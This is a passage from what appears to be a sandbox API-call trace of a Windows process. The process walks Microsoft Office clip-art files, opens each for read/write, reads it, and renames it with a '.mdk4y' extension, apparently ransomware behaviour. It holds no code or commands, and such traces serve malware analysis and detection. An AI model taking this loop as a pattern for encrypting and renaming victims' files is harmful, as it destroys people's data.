Office\\CLIPART\\PUB60COR\\NA01472_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01472_.wmf.mdk4y")) returned 1 [0170.741] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0170.741] AreFileApisANSI () returned 1 [0170.741] GetACP () returned 0x4e4 [0170.741] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA01473_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA01473_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0170.741] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01473_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01473_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0170.742] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x28ae, lpOverlapped=0x0) returned 1 [0170.781] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01473_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01473_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01473_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01473_.wmf.mdk4y")) returned 1 [0170.782] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0170.782] AreFileApisANSI () returned 1 [0170.782] GetACP () returned 0x4e4 [0170.782] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA01474_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA01474_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0170.782] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01474_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01474_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0170.783] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x349c, lpOverlapped=0x0) returned 1 [0170.785] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01474_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01474_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01474_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01474_.wmf.mdk4y")) returned 1 [0170.786] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0170.786] AreFileApisANSI () returned 1 [0170.786] GetACP () returned 0x4e4 [0170.786] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA01627_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA01627_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0170.786] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01627_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01627_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0170.786] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xce0, lpOverlapped=0x0) returned 1 [0170.819] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01627_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01627_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01627_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01627_.wmf.mdk4y")) returned 1 [0170.820] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0170.820] AreFileApisANSI () returned 1 [0170.820] GetACP () returned 0x4e4 [0170.820] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA01680_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA01680_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0170.820] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01680_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01680_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0170.821] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xb9e, lpOverlapped=0x0) returned 1 [0170.823] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01680_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01680_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01680_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01680_.wmf.mdk4y")) returned 1 [0170.824] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0170.824] AreFileApisANSI () returned 1 [0170.824] GetACP () returned 0x4e4 [0170.824] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA01682_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA01682_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0170.824] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01682_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01682_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0170.825] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xc88, lpOverlapped=0x0) returned 1 [0170.828] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01682_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01682_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01682_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01682_.wmf.mdk4y")) returned 1 [0170.829] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0170.829] AreFileApisANSI () returned 1 [0170.829] GetACP () returned 0x4e4 [0170.829] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA01701_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA01701_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0170.829] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01701_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01701_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0170.830] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x14c4, lpOverlapped=0x0) returned 1 [0170.847] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01701_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01701_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01701_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01701_.wmf.mdk4y")) returned 1 [0170.848] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0170.848] AreFileApisANSI () returned 1 [0170.848] GetACP () returned 0x4e4 [0170.848] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA01848_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA01848_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0170.849] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01848_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01848_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0170.849] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x460, lpOverlapped=0x0) returned 1 [0170.855] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01848_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01848_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01848_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01848_.wmf.mdk4y")) returned 1 [0170.856] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0170.856] AreFileApisANSI () returned 1 [0170.856] GetACP () returned 0x4e4 [0170.857] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA01849_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA01849_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0170.857] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01849_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01849_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0170.858] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x270, lpOverlapped=0x0) returned 1 [0170.859] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01849_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01849_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01849_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01849_.wmf.mdk4y")) returned 1 [0170.860] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0170.860] AreFileApisANSI () returned 1 [0170.860] GetACP () returned 0x4e4 [0170.860] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA01852_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA01852_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0170.861] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01852_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01852_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0170.861] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1138, lpOverlapped=0x0) returned 1 [0170.865] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01852_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01852_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01852_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01852_.wmf.mdk4y")) returned 1 [0170.866] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0170.866] AreFileApisANSI () returned 1 [0170.866] GetACP () returned 0x4e4 [0170.866] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA01858_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA01858_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0170.866] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01858_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01858_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0170.868] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x10c8, lpOverlapped=0x0) returned 1 [0170.873] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01858_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01858_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01858_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01858_.wmf.mdk4y")) returned 1 [0170.874] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0170.874] AreFileApisANSI () returned 1 [0170.874] GetACP () returned 0x4e4 [0170.874] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA01866_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA01866_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0170.874] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01866_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01866_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0170.877] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xdb8, lpOverlapped=0x0) returned 1 [0170.880] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01866_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01866_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01866_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01866_.wmf.mdk4y")) returned 1 [0170.882] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0170.882] AreFileApisANSI () returned 1 [0170.882] GetACP () returned 0x4e4 [0170.882] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA02009_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA02009_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0170.882] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02009_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02009_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0170.883] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x27e0, lpOverlapped=0x0) returned 1 [0170.895] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02009_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02009_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02009_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02009_.wmf.mdk4y")) returned 1 [0170.896] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0170.896] AreFileApisANSI () returned 1 [0170.896] GetACP () returned 0x4e4 [0170.896] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA02041_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA02041_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0170.896] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02041_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02041_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0170.897] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x918, lpOverlapped=0x0) returned 1 [0170.906] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02041_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02041_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02041_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02041_.wmf.mdk4y")) returned 1 [0170.907] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0170.907] AreFileApisANSI () returned 1 [0170.907] GetACP () returned 0x4e4 [0170.908] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA02066_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA02066_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0170.908] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02066_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02066_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0170.909] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x43c, lpOverlapped=0x0) returned 1 [0170.919] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02066_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02066_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02066_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02066_.wmf.mdk4y")) returned 1 [0170.920] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0170.920] AreFileApisANSI () returned 1 [0170.920] GetACP () returned 0x4e4 [0170.920] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA02091_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA02091_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0170.920] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02091_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02091_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0170.922] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x474, lpOverlapped=0x0) returned 1 [0170.925] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02091_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02091_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02091_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02091_.wmf.mdk4y")) returned 1 [0170.925] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0170.925] AreFileApisANSI () returned 1 [0170.925] GetACP () returned 0x4e4 [0170.926] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA02092_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA02092_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0170.926] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02092_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02092_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0170.926] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x66c, lpOverlapped=0x0) returned 1 [0170.943] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02092_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02092_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02092_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02092_.wmf.mdk4y")) returned 1 [0170.944] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0170.944] AreFileApisANSI () returned 1 [0170.944] GetACP () returned 0x4e4 [0170.944] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA02093_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA02093_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0170.944] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02093_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02093_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0170.945] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2a0, lpOverlapped=0x0) returned 1 [0170.946] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02093_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02093_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02093_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02093_.wmf.mdk4y")) returned 1 [0170.950] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0170.950] AreFileApisANSI () returned 1 [0170.950] GetACP () returned 0x4e4 [0170.950] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA02124_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA02124_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0170.950] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02124_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02124_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0170.951] 